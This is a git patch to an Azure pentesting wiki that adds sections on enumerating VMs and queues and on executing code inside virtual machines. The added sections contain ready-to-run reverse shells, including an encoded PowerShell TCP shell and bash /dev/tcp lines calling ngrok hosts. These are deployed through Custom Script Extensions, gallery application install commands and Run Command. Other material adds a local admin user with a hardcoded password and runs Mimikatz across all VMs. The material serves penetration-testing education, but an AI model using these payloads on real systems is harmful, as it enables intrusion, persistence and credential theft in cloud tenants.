From e5acbadddf3b5f0dd04a641891f0df0bbc851156 Mon Sep 17 00:00:00 2001 From: CPol Date: Wed, 4 Dec 2024 02:15:02 +0000 Subject: [PATCH] GITBOOK-723: No subject --- .../az-services/az-queue-enum.md | 6 +- .../azure-security/az-services/vms/README.md | 524 ++++++++++++------ 2 files changed, 342 insertions(+), 188 deletions(-) diff --git a/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/pentesting-cloud/azure-security/az-services/az-queue-enum.md index a2e5a3b77b..03b3918bcf 100644 --- a/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -22,7 +22,7 @@ Azure Queue Storage is a service in Microsoft's Azure cloud platform designed fo ### Enumeration {% tabs %} -{% tab title="Bash" %} +{% tab title="Az Cli" %} ```bash # You need to know the --account-name of the storage (az storage account list) az storage queue list --account-name @@ -41,7 +41,7 @@ az storage message peek --queue-name --account-name " -VMName "" -Name "" -FileUri "https://raw.githubusercontent.com/neilpeterson/nepeters-azure-templates/master/windows-custom-script-simple/support-scripts/Create-File.ps1" -Run "Create-File.ps1" -Location "" - -# Run VMAccess extension to reset the password -$cred=Get-Credential -Set-AzVMAccessExtension -ResourceGroupName "myResourceGroup" -VMName "myVM" -Name "myVMAccess" ` - -Location "myVMregion" -UserName $cred.GetNetworkCredential().Username ` - -Password $cred.GetNetworkCredential().Password -typeHandlerVersion "2.0" -``` -{% endcode %} - -### VM Applications - -These ara packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs. - -{% code overflow="wrap" %} -```bash -# List all galleries in resource group -az sig list --resource-group --output table - -# List all apps in a fallery -az sig gallery-application list --gallery-name --resource-group --output table -``` -{% endcode %} - -These are the paths were the applications get downloaded intide the file system: - -* Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` -* Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` - -Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) - -{% hint style="danger" %} -It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting becase it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants. -{% endhint %} - -But there **isn't a "marketplace" for vm apps** like there is for extensions. - -### User data - -This is a script that will be executed only the **first time the virtual machine is provisioned**. - -Examples: - -{% tabs %} -{% tab title="Windows" %} -{% code overflow="wrap" %} -```powershell -$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" -[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) -``` -{% endcode %} -{% endtab %} - -{% tab title="Linux" %} -{% code overflow="wrap" %} -```bash -curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text" | base64 --decode -``` -{% endcode %} -{% endtab %} -{% endtabs %} - -### Custom data - -It's possible to pass some data to the VM that will be stored in expected paths: - -* In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed. -* In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml` - * **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed - * **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the cusotm data: - -```bash -#!/bin/sh -echo "Hello World" > /var/tmp/output.txt -``` - ## Disks & snapshots * It's possible to **enable to attach a disk to 2 or more VMs** @@ -170,7 +79,7 @@ az disk show --name --resource-group A **VM image** is a template that contains the operating system, application settings and filesystem needed to **create a new virtual machine (VM)**. The difference between an image and a disk snapshot is that a disk snapshot is a read-only, point-in-time copy of a single managed disk, used primarily for backup or troubleshooting, while an image can contain **multiple disks and is designed to serve as a template for creating new VMs**.\ Images can be managed in the **Images section** of Azure or inside **Azure compute galleries** which allows to generate **versions** and **share** the image cross-tenant of even make it public. -A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and it's purpose is to be able to restore that VM to how it was in that specific point in it. +A **restore point** stores the VM configuration and **point-in-time** application-consistent **snapshots of all the managed disks** attached to the VM. It's related to the VM and its purpose is to be able to restore that VM to how it was in that specific point in it. ```bash # Shared Image Galleries | Compute Galleries @@ -208,28 +117,24 @@ az restore-point collection show --collection-name --resource- From the [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery helps ensure business continuity by keeping business apps and workloads running during outages. Site Recovery **replicates workloads** running on physical and virtual machines (VMs) from a primary site to a secondary location. When an outage occurs at your primary site, you fail over to a secondary location, and access apps from there. After the primary location is running again, you can fail back to it. -## Azure Network Information - -Azure networks contains **different entities and ways to configure it.** You can find a brief **descriptions,** **examples** and **enumeration** commands of the different Azure network entities in: - -{% content-ref url="az-azure-network.md" %} -[az-azure-network.md](az-azure-network.md) -{% endcontent-ref %} - ## Azure Bastion -**Azure Bastion** offers a secure, fully managed RDP (Remote Desktop Protocol) and SSH (Secure Shell) access solution over SSL through the Azure portal. It's integrated within an Azure Virtual Network, allowing RDP and SSH connectivity to VMs using private IPs, avoiding the need for public IPs. This makes it a safer, more convenient alternative to traditional methods involving public IP assignments and NSG rule configurations for VM access. Developers and IT personnel can securely access VMs from the Azure portal using their web browsers, streamlining the process for development and testing environments. +Azure Bastion enables secure and seamless **Remote Desktop Protocol (RDP)** and **Secure Shell (SSH)** access to your virtual machines (VMs) directly through the Azure Portal or via a jump box. By **eliminating the need for public IP addresses** on your VMs. + +The Bastion deploys a subnet called **`AzureBastionSubnet`** with a `/26` netmask in the VNet it needs to work on. Then, it allows to **connect to internal VMs through the browser** using `RDP` and `SSH` avoiding exposing ports of the VMs to the Internet. It can also work as a **jump host**. To list all Azure Bastion Hosts in your subscription, you can use the following command: {% code overflow="wrap" %} ```bash -az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table +az network bastion list -o table ``` {% endcode %} ## VM Enumeration +{% tabs %} +{% tab title="Az Cli" %} {% code overflow="wrap" %} ```bash # VMs @@ -291,73 +196,77 @@ az image list --output table az restore-point collection list-all --output table az restore-point collection show --collection-name --resource-group +# Bastion +## list all bastions +az network bastion list -o table + # Network -# List all Nics & get info of a single one -az network nic list --output table -az network nic show --name --resource-group +## List VNets +az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" + +## List subnets of a VNet +az network vnet subnet list --resource-group --vnet-name --query "[].{name:name, addressPrefix:addressPrefix}" -o table +## List public IPs az network public-ip list --output table -az network nsg list --output table +## Get NSG rules +az network nsg rule list --nsg-name --resource-group --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table -# Misc -# List all virtual machine scale sets -az vmss list --output table +## Get NICs and subnets using this NSG +az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}" -# List all availability sets -az vm availability-set list --output table +## List all Nics & get info of a single one +az network nic list --output table +az network nic show --name --resource-group +## List Azure Firewalls +az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table -# List all network security groups -az network nsg list --output table +## Get network rules of a firewall +az network firewall network-rule collection list --firewall-name --resource-group --query "[].{name:name, rules:rules}" -o table -# List all load balancers -az network lb list --output table +## Get application rules of a firewall +az network firewall application-rule collection list --firewall-name --resource-group --query "[].{name:name, rules:rules}" -o table -# List all storage accounts -az storage account list --output table +## Get nat rules of a firewall +az network firewall nat-rule collection list --firewall-name --resource-group --query "[].{name:name, rules:rules}" -o table -# List all resource groups -az group list --output table +## List Route Tables +az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table -# List all virtual networks -az network vnet list --output table +## List routes for a table +az network route-table route list --route-table-name --resource-group --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table -# List all subnets within a virtual network -az network vnet subnet list --vnet-name --resource-group +# Misc +## List all virtual machine scale sets +az vmss list --output table -# List all route tables -az network route-table list --output table +## List all availability sets +az vm availability-set list --output table + +## List all load balancers +az network lb list --output table + +## List all storage accounts +az storage account list --output table -# List all custom script extensions on a specific VM +## List all custom script extensions on a specific VM az vm extension list --vm-name --resource-group # Show boot diagnostics settings for a specific VM az vm boot-diagnostics get-boot-log --name --resource-group -# List all tags on virtual machines +## List all tags on virtual machines az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table # List all available run commands for virtual machines az vm run-command list --output table - -# List all virtual machine images from a specific publisher -az vm image list --publisher --all --output table - -# List all virtual machine images for a specific offer -az vm image list --offer --all --output table - -# Answer - -The assistant has correctly rewritten the commands in a code block, not adding the closing triple backticks, thus not closing the original code block, as per the user's request. - ``` {% endcode %} +{% endtab %} - - - - +{% tab title="Az PS" %} ```powershell # Get readable VMs Get-AzVM | fl @@ -376,53 +285,310 @@ Get-AzVMExtension -ResourceGroupName -VMName Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM Get-AzNetworkInterface -Name # Get info of network connector (like IP) ``` +{% endtab %} +{% endtabs %} -## **Run commands in a VM** +## Code Execution in VMs -### **AAD Login in VM** +### VM Extensions -It's possible to allow access to users authenticated via AzureAD. For example trying to access a **linux VM**: `ssh username@azure-corp.com@1.1.1.1` (it's important to **use the email** with the azurecorp used when trying to login) you could get an error like: +Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs). + +This would allow to **execute arbitrary code inside VMs**. + +It's possible to list all the available extensions with: + +```bash +# It takes some mins to run +az vm extension image list --output table + +# Get extensions by publisher +az vm extension image list --publisher "Site24x7" --output table +``` + +It's possible to **run custom extensions that runs custom code**: + +{% tabs %} +{% tab title="Linux" %} +* Execute a revers shell {% code overflow="wrap" %} +```bash +# Prepare the rev shell +echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 +YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== + +# Execute rev shell +az vm extension set \ + --resource-group \ + --vm-name \ + --name CustomScript \ + --publisher Microsoft.Azure.Extensions \ + --version 2.1 \ + --settings '{}' \ + --protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}' ``` -(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct. +{% endcode %} -To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready. +* Execute a script located on the internet + +{% code overflow="wrap" %} +```bash +az vm extension set \ + --resource-group rsc-group> \ + --vm-name \ + --name CustomScript \ + --publisher Microsoft.Azure.Extensions \ + --version 2.1 \ + --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \ + --protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}' ``` {% endcode %} +{% endtab %} -Just **follow those instructions** going to [https://microsoft.com/devicelogin](https://microsoft.com/devicelogin) and indicating the code, use the email and password as credentials and you will be able to connect via SSH (if that user has enough permissions to do so: `Virtual Machine Administrator Login` or `Virtual Machine User Login` role). +{% tab title="Windows" %} +* Execute a reverse shell -### **Run Command** +{% code overflow="wrap" %} +```bash +# Get encoded reverse shell +echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 + +# Execute it +az vm extension set \ + --resource-group \ + --vm-name \ + --name CustomScriptExtension \ + --publisher Microsoft.Compute \ + --version 1.10 \ + --settings '{}' \ + --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' -```powershell -# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action -Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose -## Another way -Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose - -# Content of the script -$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force -New-LocalUser -Name new_user -Password $passwd -Add-LocalGroupMember -Group Administrators -Member new_user ``` +{% endcode %} + +* Execute reverse shell from file + +{% code overflow="wrap" %} +```bash +az vm extension set \ + --resource-group \ + --vm-name \ + --name CustomScriptExtension \ + --publisher Microsoft.Compute \ + --version 1.10 \ + --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ + --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' +``` +{% endcode %} +You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` + +* Reset password using the VMAccess extension + +{% code overflow="wrap" %} ```powershell +# Run VMAccess extension to reset the password +$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password +Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred +``` +{% endcode %} +{% endtab %} +{% endtabs %} + +### VM Applications + +These ara packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs. + +{% code overflow="wrap" %} +```bash +# List all galleries in resource group +az sig list --resource-group --output table + +# List all apps in a fallery +az sig gallery-application list --gallery-name --resource-group --output table +``` +{% endcode %} + +These are the paths were the applications get downloaded intide the file system: + +* Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` +* Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` + +Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) + +{% hint style="danger" %} +It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting becase it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants. +{% endhint %} + +But there **isn't a "marketplace" for vm apps** like there is for extensions. + +{% tabs %} +{% tab title="Linux" %} +```bash +# Create gallery (if the isn't any) +az sig create --resource-group myResourceGroup \ + --gallery-name myGallery --location "West US 2" + +# Create application container +az sig gallery-application create \ + --application-name myReverseShellApp \ + --gallery-name myGallery \ + --resource-group \ + --os-type Linux \ + --location "West US 2" + +# Create app version with the rev shell +## In Package file link just add any link to a blobl storage file +az sig gallery-application version create \ + --version-name 1.0.2 \ + --application-name myReverseShellApp \ + --gallery-name myGallery \ + --location "West US 2" \ + --resource-group \ + --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ + --install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ + --remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \ + --update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" + +# Install the app in a VM to execute the rev shell +## Use the ID given in the previous output +az vm application set \ + --resource-group \ + --name \ + --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ + --treat-deployment-as-failure true +``` +{% endtab %} + +{% tab title="Windows" %} +{% code overflow="wrap" %} +```bash +# Create gallery (if the isn't any) +az sig create --resource-group \ + --gallery-name myGallery --location "West US 2" + +# Create application container +az sig gallery-application create \ + --application-name myReverseShellAppWin \ + --gallery-name myGallery \ + --resource-group \ + --os-type Windows \ + --location "West US 2" + +# Get encoded reverse shell +echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 + +# Create app version with the rev shell +## In Package file link just add any link to a blobl storage file +export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" +az sig gallery-application version create \ + --version-name 1.0.0 \ + --application-name myReverseShellAppWin \ + --gallery-name myGallery \ + --location "West US 2" \ + --resource-group \ + --package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \ + --install-command "powershell.exe -EncodedCommand $encodedCommand" \ + --remove-command "powershell.exe -EncodedCommand $encodedCommand" \ + --update-command "powershell.exe -EncodedCommand $encodedCommand" + +# Install the app in a VM to execute the rev shell +## Use the ID given in the previous output +az vm application set \ + --resource-group \ + --name deleteme-win4 \ + --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \ + --treat-deployment-as-failure true +``` +{% endcode %} +{% endtab %} +{% endtabs %} + +### User data + +This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**. + +### Custom data + +It's possible to pass some data to the VM that will be stored in expected paths: + +* In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed. +* In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml` + * **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed + * **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data. + * I tried that both Ubuntu and Debian execute the script you put here. + * It's also not needed to enable user data for this to be executed. + +```bash +#!/bin/sh +echo "Hello World" > /var/tmp/output.txt +``` + +### **Run Command** + +This is the most basic mechanism Azure provides to execute arbitrary commands in VMs: + +{% tabs %} +{% tab title="Linux" %} +```bash +# Execute rev shell +az vm run-command invoke \ + --resource-group \ + --name \ + --command-id RunShellScript \ + --scripts @revshell.sh + +# revshell.sh file content +echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh +``` +{% endtab %} + +{% tab title="Windows" %} +{% code overflow="wrap" %} +```bash +# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action +# Execute a rev shell +az vm run-command invoke \ + --resource-group Research \ + --name juastavm \ + --command-id RunPowerShellScript \ + --scripts @revshell.ps1 + +## Get encoded reverse shell +echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64 + +## Create app version with the rev shell +## In Package file link just add any link to a blobl storage file +export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" + +# The content of +echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1 + + # Try to run in every machine Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` +{% endcode %} +{% endtab %} +{% endtabs %} -### **Run Custom Script Extension** +## **Run commands in a VM** -Azure virtual machine (VM) extensions are **small applications** that provide post-deployment configuration and automation **tasks** on **Azure VMs**. For example, if a virtual machine requires software installation, antivirus protection, or the ability to run a script inside it, you can use a VM extension. +### **AAD Login in VM** -Therefore, if you have access to write it, you can execute arbitrary code: +It's possible to allow access to users authenticated via AzureAD. For example trying to access a **linux VM**: `ssh username@azure-corp.com@1.1.1.1` (it's important to **use the email** with the azurecorp used when trying to login) you could get an error like: -```powershell -# Microsoft.Compute/virtualMachines/extensions/write -Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher 